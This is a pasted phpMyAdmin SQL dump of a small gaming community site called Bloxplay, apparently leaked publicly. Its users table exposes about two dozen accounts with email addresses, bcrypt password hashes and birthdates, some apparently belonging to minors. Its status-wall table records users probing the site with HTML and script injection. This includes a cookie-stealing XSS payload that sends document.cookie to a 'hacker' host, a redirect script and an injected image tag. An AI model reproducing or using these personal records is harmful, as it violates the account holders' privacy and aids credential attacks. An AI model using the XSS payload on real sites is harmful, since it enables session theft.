SHARE
TWEET

Untitled

a guest Aug 22nd, 2019 331 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -- phpMyAdmin SQL Dump
  2. -- version 4.6.6deb5
  3. -- https://www.phpmyadmin.net/
  4. --
  5. -- Host: localhost:3306
  6. -- Generation Time: Jul 23, 2019 at 07:32 PM
  7. -- Server version: 5.7.26-0ubuntu0.18.04.1
  8. -- PHP Version: 7.2.19-0ubuntu0.18.04.1
  9.  
  10. SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
  11. SET time_zone = "+00:00";
  12.  
  13.  
  14. /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
  15. /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
  16. /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
  17. /*!40101 SET NAMES utf8mb4 */;
  18.  
  19. --
  20. -- Database: `bloxplay`
  21. --
  22.  
  23. -- --------------------------------------------------------
  24.  
  25. --
  26. -- Table structure for table `general`
  27. --
  28.  
  29. CREATE TABLE `general` (
  30.   `id` int(11) NOT NULL,
  31.   `sitename` varchar(50) NOT NULL,
  32.   `online` tinyint(1) NOT NULL DEFAULT '0'
  33. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  34.  
  35. --
  36. -- Dumping data for table `general`
  37. --
  38.  
  39. INSERT INTO `general` (`id`, `sitename`, `online`) VALUES
  40. (1, 'Bloxplay', 1);
  41.  
  42. -- --------------------------------------------------------
  43.  
  44. --
  45. -- Table structure for table `main`
  46. --
  47.  
  48. CREATE TABLE `main` (
  49.   `id` int(11) UNSIGNED NOT NULL,
  50.   `name` text NOT NULL,
  51.   `lastposter` varchar(200) NOT NULL,
  52.   `lastpostdate` int(11) NOT NULL,
  53.   `topics` int(11) NOT NULL DEFAULT '0',
  54.   `replies` int(11) NOT NULL DEFAULT '0'
  55. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  56.  
  57. -- --------------------------------------------------------
  58.  
  59. --
  60. -- Table structure for table `replies`
  61. --
  62.  
  63. CREATE TABLE `replies` (
  64.   `id` int(11) UNSIGNED NOT NULL,
  65.   `topicid` int(11) UNSIGNED DEFAULT NULL,
  66.   `message` text NOT NULL,
  67.   `subject` text NOT NULL,
  68.   `poster` text NOT NULL,
  69.   `date` int(10) UNSIGNED NOT NULL
  70. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  71.  
  72. -- --------------------------------------------------------
  73.  
  74. --
  75. -- Table structure for table `status`
  76. --
  77.  
  78. CREATE TABLE `status` (
  79.   `id` int(11) NOT NULL,
  80.   `user` varchar(50) NOT NULL,
  81.   `rank` varchar(50) NOT NULL DEFAULT 'user',
  82.   `status` text NOT NULL,
  83.   `avatar` varchar(500) NOT NULL,
  84.   `deleted` tinyint(1) NOT NULL DEFAULT '0',
  85.   `time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
  86. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  87.  
  88. --
  89. -- Dumping data for table `status`
  90. --
  91.  
  92. INSERT INTO `status` (`id`, `user`, `rank`, `status`, `avatar`, `deleted`, `time`) VALUES
  93. (1, 'Blox Play', 'bloxplay', 'rC6Wnyeb6hQy9PPw', '/assets/img/bloxplay.png', 1, '2019-07-23 02:10:54'),
  94. (2, 'Blox Play', 'bloxplay', 'Welcome to Blox Play, we\'re dedicated to make the best experience for users. Thank you for joining us!', '/assets/img/bloxplay.png', 0, '2019-07-23 02:04:04'),
  95. (3, 'Zay', 'bloxplay', 'Welcome everyone, enjoy! 😊', '/assets/img/avatars/avatarclose/skeletonmadclose.png', 0, '2019-07-23 03:06:35'),
  96. (4, 'Happy', 'user', 'I have the best username', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 02:08:49'),
  97. (5, 'Jake', 'ownership', 'im cool', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 1, '2019-07-23 02:27:44'),
  98. (6, 'Jake', 'ownership', 'Filter test, fuck', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 02:22:56'),
  99. (7, 'Jake', 'bloxplay', 'howy everyone, I\'m jake co-founder here at BloxPlay', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 02:27:41'),
  100. (8, 'madkillerwill', 'user', 'Hello', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 05:36:52'),
  101. (9, 'Chase88', 'developer', 'im the web dev, send me bugs lol', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 06:19:56'),
  102. (10, 'Zay', 'bloxplay', 'Founder & Owner of Blox Play!', '/assets/img/avatars/avatarclose/skeletonmadclose.png', 0, '2019-07-23 15:02:17'),
  103. (11, 'Test', 'user', 'hi people', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 15:04:36'),
  104. (12, 'brixster', 'user', 'aa', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 19:05:10'),
  105. (13, 'brixster', 'user', '<h1>hi</h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 18:56:43'),
  106. (14, 'brixster', 'user', '<script>window.location = \"https://google.com\"</script>', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 18:59:29'),
  107. (15, 'Bloxer', 'user', 'I won the skeleton thing!', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:02:19'),
  108. (16, 'brixster', 'user', '', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 19:04:56'),
  109. (17, 'brixster', 'user', 'saaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaasaaa', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 19:04:54'),
  110. (18, 'brixster', 'user', '\'\"` \'\"', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 19:04:51'),
  111. (19, '<span style=\"color:red\">Zay</span>', 'user', 'I\'m an admin!', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 19:10:45'),
  112. (20, 'Jake', 'bloxplay', 'Im and admin to', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:08:06'),
  113. (21, 'Brixster <img src=\"https://shorturl.at/qDS05\">', 'user', 'whoops', '/assets/img/avatars/avatarclose/defaultclose.png', 1, '2019-07-23 19:10:40'),
  114. (22, 'Blox Play', 'bloxplay', 'https://shorturl.at/qDS05', '/assets/img/bloxplay.png', 1, '2019-07-23 19:09:35'),
  115. (23, 'Jake', 'bloxplay', 'Hello Brixster ', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:09:24'),
  116. (24, 'Jake', 'bloxplay', 'I\'m Co Founder Jake with BloxPlay', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:09:34'),
  117. (25, 'Bloxer', 'user', 'I won the skeleton madness', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:10:24'),
  118. (26, 'abc', 'user', 'hi', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:10:25'),
  119. (27, 'abc', 'user', 'I also won the sketon madness!', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:11:08'),
  120. (28, 'Jake', 'bloxplay', 'Official Admins are players wearing Snowman and Skelton Outfit with verified icon by there name Heads up. https://shorturl.at/qDS05', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:11:20'),
  121. (29, 'Brixster <img src=\"https://shorturl.at/qDS05\">', 'user', 'im verified too yay', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:11:50'),
  122. (30, 'abc', 'user', '<h1>test</h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:15:14'),
  123. (31, 'abc', 'user', '<h1>this is awesome lol</h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:15:28'),
  124. (32, 'abc', 'user', '<h1>test', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:15:36'),
  125. (33, 'Bloxer', 'user', '<h1>test</h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:15:40'),
  126. (34, 'abc', 'user', 'test</h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:15:46'),
  127. (35, 'abc', 'user', 'test<h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:15:55'),
  128. (36, 'abc', 'user', '\"><SCRIPT>var+img=new+Image();img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:17:24'),
  129. (37, 'abc', 'user', '\"><SCRIPT>var+img=new+Image();img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:17:29'),
  130. (38, 'abc', 'user', '<title>Example document: %(title)</title>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:17:46'),
  131. (39, 'Bloxer', 'user', '<h1>Is this what I\'m supposed to do?</h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:18:09'),
  132. (40, 'abc', 'user', '<p><span style=\"background-color: #ffff00;\"><strong><span style=\"color: #ff00ff;\">hehe</span></strong></span></p>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:19:29'),
  133. (41, 'Jake', 'bloxplay', '<p><span style=\"background-color: #ffff00;\"><strong><span style=\"color: #ff00ff;\">hehe</span></strong></span></p>', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:19:45'),
  134. (42, 'abc', 'user', '<h1><span style=\"color: #ff00ff;\"><span style=\"background-color: #ffff00;\">I AM AN ADMIN!!!!!! HEHEHEHEHEHE</span></span></h1>', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:20:19'),
  135. (43, 'Jake', 'bloxplay', '<p><span style=\"background-color: #ffff00;\"><strong><span style=\"color: #ff00ff;\">Using HTML Code like this message will result in account l', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:20:46'),
  136. (44, 'Jake', 'bloxplay', 'Stop posting HTML Code, And Everything to ruin website, Doing so will result in a ban or termination - Trust & Safe Senior Manager', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:22:36'),
  137. (45, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:22:37'),
  138. (46, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:15'),
  139. (47, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:15'),
  140. (48, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:15'),
  141. (49, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:15'),
  142. (50, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:16'),
  143. (51, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:16'),
  144. (52, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:16'),
  145. (53, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:23:16'),
  146. (54, 'Jake', 'bloxplay', 'Stop posting HTML Code, And Everything to ruin website, Doing so will result in a ban or termination - Trust & Safe Senior Manager', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:23:29'),
  147. (55, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:23:43'),
  148. (56, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:23:46'),
  149. (57, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:23:49'),
  150. (58, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:23:54'),
  151. (59, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:23:57'),
  152. (60, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:24:05'),
  153. (61, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:24:12'),
  154. (62, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:24:30'),
  155. (63, 'Jake', 'bloxplay', 'New message clear wall up from ABC Spamming HTML', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:24:36'),
  156. (64, 'Jake', 'bloxplay', 'Stop posting HTML Code, And Everything to ruin website, Doing so will result in a ban or termination - Trust & Safe Senior Manager', '/assets/img/avatars/avatarclose/snowmantreeclose.png', 0, '2019-07-23 19:24:45'),
  157. (65, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:50'),
  158. (66, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:50'),
  159. (67, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:50'),
  160. (68, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:51'),
  161. (69, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:51'),
  162. (70, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:51'),
  163. (71, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:51'),
  164. (72, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:52'),
  165. (73, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:52'),
  166. (74, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:52'),
  167. (75, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:53'),
  168. (76, 'abc', 'user', '<table style=\"height: 449px;\" width=\"583\"> <tbody> <tr> <td style=\"width: 51px;\">H</td> <td style=\"width: 52px;\">T</td> <td style=\"width: 52', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:24:53'),
  169. (77, 'owo', 'user', '', '/assets/img/avatars/avatarclose/defaultclose.png', 0, '2019-07-23 19:26:40');
  170.  
  171. -- --------------------------------------------------------
  172.  
  173. --
  174. -- Table structure for table `store`
  175. --
  176.  
  177. CREATE TABLE `store` (
  178.   `id` int(11) NOT NULL,
  179.   `itemname` varchar(50) NOT NULL,
  180.   `description` text NOT NULL,
  181.   `itemimageclose` varchar(500) NOT NULL,
  182.   `itemimagefar` varchar(500) NOT NULL
  183. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  184.  
  185. --
  186. -- Dumping data for table `store`
  187. --
  188.  
  189. INSERT INTO `store` (`id`, `itemname`, `description`, `itemimageclose`, `itemimagefar`) VALUES
  190. (1, 'Snowman Tree', 'A snowman + a tree', '/assets/img/avatars/avatarclose/snowmantreeclose.png', '/assets/img/avatars/avatarfar/snowmantreefar.png'),
  191. (2, 'Skeleton Madness', 'Spooky spooky skeletons', '/assets/img/avatars/avatarclose/skeletonmadclose.png', '/assets/img/avatars/avatarfar/skeletonmadfar.png');
  192.  
  193. -- --------------------------------------------------------
  194.  
  195. --
  196. -- Table structure for table `topics`
  197. --
  198.  
  199. CREATE TABLE `topics` (
  200.   `id` int(11) UNSIGNED NOT NULL,
  201.   `forumid` int(11) UNSIGNED DEFAULT NULL,
  202.   `message` text NOT NULL,
  203.   `subject` text NOT NULL,
  204.   `poster` text NOT NULL,
  205.   `date` int(11) NOT NULL,
  206.   `lastposter` varchar(200) NOT NULL,
  207.   `lastpostdate` int(11) NOT NULL,
  208.   `replies` int(11) UNSIGNED NOT NULL
  209. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  210.  
  211. -- --------------------------------------------------------
  212.  
  213. --
  214. -- Table structure for table `users`
  215. --
  216.  
  217. CREATE TABLE `users` (
  218.   `id` int(11) NOT NULL,
  219.   `username` varchar(50) NOT NULL,
  220.   `banned` tinyint(1) NOT NULL DEFAULT '0',
  221.   `email` varchar(50) NOT NULL,
  222.   `password` varchar(150) NOT NULL,
  223.   `avatarclose` varchar(500) NOT NULL,
  224.   `avatarfar` varchar(500) NOT NULL,
  225.   `birthday` varchar(50) NOT NULL,
  226.   `gender` varchar(50) NOT NULL,
  227.   `rank` varchar(50) NOT NULL,
  228.   `friendcount` int(11) NOT NULL DEFAULT '0',
  229.   `bloxz` int(11) NOT NULL DEFAULT '0',
  230.   `dailybloxzclaimed` date DEFAULT NULL
  231. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  232.  
  233. --
  234. -- Dumping data for table `users`
  235. --
  236.  
  237. INSERT INTO `users` (`id`, `username`, `banned`, `email`, `password`, `avatarclose`, `avatarfar`, `birthday`, `gender`, `rank`, `friendcount`, `bloxz`, `dailybloxzclaimed`) VALUES
  238. (1, 'Blox Play', 0, 'bloxplaycorp@gmail.com', '$2y$10$Me6Caa1.DYot7rZ6mPT4PORGYwZmO6gMYK1XXzxIGT8g2Owk1U6A.', '/assets/img/bloxplay.png', '/assets/img/bloxplay.png', '1111-11-11', 'other', 'bloxplay', 0, 544422, '2019-07-23'),
  239. (2, 'Zay', 0, 'mhcmovieproductions@gmail.com', '$2y$10$KVGSU.qX0EPFKVcRdeE5HOvt1kbre78ItvqqiHPevGBlzVHm9kaLC', '/assets/img/avatars/avatarclose/skeletonmadclose.png', '/assets/img/avatars/avatarfar/skeletonmadfar.png', '1223-03-31', 'male', 'bloxplay', 0, 5244, '2019-07-23'),
  240. (3, 'Chase88', 0, 'chasecraft88@gmail.com', '$2y$10$mX5dgzVkHJtCqp3XJCoNiOST4dBWElr5h2UKbEmED3RZE7p74ZdJm', '/assets/img/avatars/avatarclose/snowmantreeclose.png', '/assets/img/avatars/avatarfar/snowmantreefar.png', '1998-06-20', 'male', 'developer', 0, 5, '2019-07-23'),
  241. (4, 'Benj', 0, 'benchell448@gmail.com', '$2y$10$eQF8Sf0ywAYeqxd/fHpNuuNfIplURWbFin.d0aCHRqinsLFN1LiIW', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2006-10-24', 'male', 'user', 0, 0, NULL),
  242. (5, 'Bloxer', 0, 'babywolf.2004@gmail.com', '$2y$10$Zz22pfxK4uLCpITmipH.kukZYSbG8pGRqAEeoTxqB0b0DzCFFYiyi', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1983-10-26', 'male', 'user', 0, 5, '2019-07-23'),
  243. (6, 'Jake', 0, 'tyrannizerdev@gmail.com', '$2y$10$pwDXu2/kDzOH1rBft259dOg6vk0z96r5sq9SuOM3ToR35chKEPYLa', '/assets/img/avatars/avatarclose/snowmantreeclose.png', '/assets/img/avatars/avatarfar/snowmantreefar.png', '1414-12-13', 'male', 'bloxplay', 0, 150000, '2019-07-23'),
  244. (7, 'speedyspoonySDRS', 0, 'bluerellieiscool@hotmail.com', '$2y$10$rTv48kBE7Z7yTlWEJ4iIkO8sgOCvLDl5qYnHcOXAeiFDU0CsZlqvq', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2203-04-02', 'male', 'user', 0, 5, '2019-07-22'),
  245. (8, 'Den_Bi', 0, 'bvdxaq@gmail.com', '$2y$10$8.rNacCJtm4YZ06j/5Q1he9SSdPw12OC1Oq.4ZEnuhDBkSFZTO3kO', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2001-01-26', 'male', 'user', 0, 5, '2019-07-23'),
  246. (9, 'madkillerwill', 0, 'willwillnewton@gmail.com', '$2y$10$qdc4k4Y4ByuVMO5QADzXSeN4.2Zkehvna0RWuWMQvnZFcLuRuS9oK', '/assets/img/avatars/avatarclose/snowmantreeclose.png', '/assets/img/avatars/avatarfar/snowmantreefar.png', '2002-12-13', 'male', 'user', 0, 305, '2019-07-23'),
  247. (10, 'Regium', 0, 'thebestslendy@gmail.com', '$2y$10$syWXdNHJYQNHkG1afVFtP.HrUkAGnkqdCbmPozH.5e0QTKc5o0CE6', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2004-07-01', 'male', 'user', 0, 105, '2019-07-22'),
  248. (11, 'Mooka Wooka', 0, 'zeriliz.101@gmail.com', '$2y$10$n166/MJpdWRZFZMXO8psNuCwQ1b0xI9U7XgH/psvDcaoPefUDTdzi', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2004-07-22', 'male', 'user', 0, 5, '2019-07-22'),
  249. (12, 'ToxicCooling', 0, 'coolingpuppyman1@gmail.com', '$2y$10$/cgZrBmhqd4tm/f6TYO/ROZYMFETSXxFKwbxDBTiSH5BHiJtomlhi', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2000-07-01', 'male', 'user', 0, 5, '2019-07-23'),
  250. (13, 'DrxpLoxs', 0, 'vickig@wvi.com', '$2y$10$psPRztxsGtTnn3.PP6vPAus2XWHHLEx46Sztc/IWMEc3RfS5S6Te.', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1997-12-23', 'male', 'management', 0, 0, NULL),
  251. (14, 'Test', 0, 'test@gmail.com', '$2y$10$lqGbHHAYJjQtSx7Z8Sg3dOSg3dTz4TobziUNcehO0K/H7SBSBS4CG', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '0353-05-31', 'male', 'user', 0, 5, '2019-07-23'),
  252. (15, 'O', 0, 'nahfam@gmail.com', '$2y$10$DM4dU2jzuaGCJBR1CxssfeW8Eg26Vrd3WhYG54kU5F4BCyebqj29O', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1200-12-12', 'male', 'user', 0, 5, '2019-07-22'),
  253. (16, 'iKolyan', 0, 'quad1812k@gmail.com', '$2y$10$8FXY7N0dyRKRUAe.UKIX5O8duL0ZutpvET4uFE90GxMahTJopAJRC', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2007-12-18', 'male', 'user', 0, 5, '2019-07-22'),
  254. (17, 'Guess', 0, 'remixious.berry@gmail.com', '$2y$10$QoaCiuGxrixv5si4hZEO3umUMIk319UTjwSVCkx6tlAQsyO5HGuQC', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2001-01-23', 'male', 'user', 0, 5, '2019-07-22'),
  255. (18, 'jake is a nibba', 1, 'newtonvicky@ymail.com', '$2y$10$8wMmzh39Zd0CJsKGutpq1eyj9lcU3u4dnLe.dsN2ouhr9/mbxx.eG', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1999-12-23', 'female', 'user', 0, 5, '2019-07-22'),
  256. (19, 'Happy', 0, 'lol@gmail.com', '$2y$10$.wQiK9CF2HXoL9K2jrnRX.s/chp.d5nrgWFGxKYOfdgJmrqbbZfaG', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '0222-11-22', 'male', 'user', 0, 5, '2019-07-23'),
  257. (21, 'Pop', 0, 'poppingmaniac123@gmail.com', '$2y$10$Bc8RO2M9bGJCqJI3XpiXXOCp1dFSRJqsg4D9yUGEWjlOwwQR.FfQ2', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2114-12-04', 'male', 'user', 0, 0, NULL),
  258. (22, 'PoppingManic', 0, 'PoppingManic@gmail.com', '$2y$10$Bn3APLHGZ7Su6bAN.HbQ8.PaLCQ79N/VXb/T/iElGucFa4rCvm7bm', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '0111-11-11', 'male', 'user', 0, 0, NULL),
  259. (23, 'TimeStokes', 0, 'Jake', '$2y$10$MMf5ne3w7esNufIgy7WTluiz4L86PEBLMnK19Y6xGelTqaEueeupS', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1967-12-04', 'male', 'user', 0, 0, NULL),
  260. (24, 'Owen', 0, 'nottoaday@gmail.com', '$2y$10$APScNrNa/Uc3aiZdz8NW8.67TwNC5dDIkjRZ4AFun/fMFhcIenYkm', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1200-12-12', 'male', 'user', 0, 5, '2019-07-23'),
  261. (25, 'abc', 0, 'socallawroblox@gmail.com', '$2y$10$NH3W4RYgj9R0dYqi3a4.aeKKbQZcNGl1n2qegtRjmaKdnPmlLpwUC', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '1982-07-09', 'male', 'user', 0, 5, '2019-07-23'),
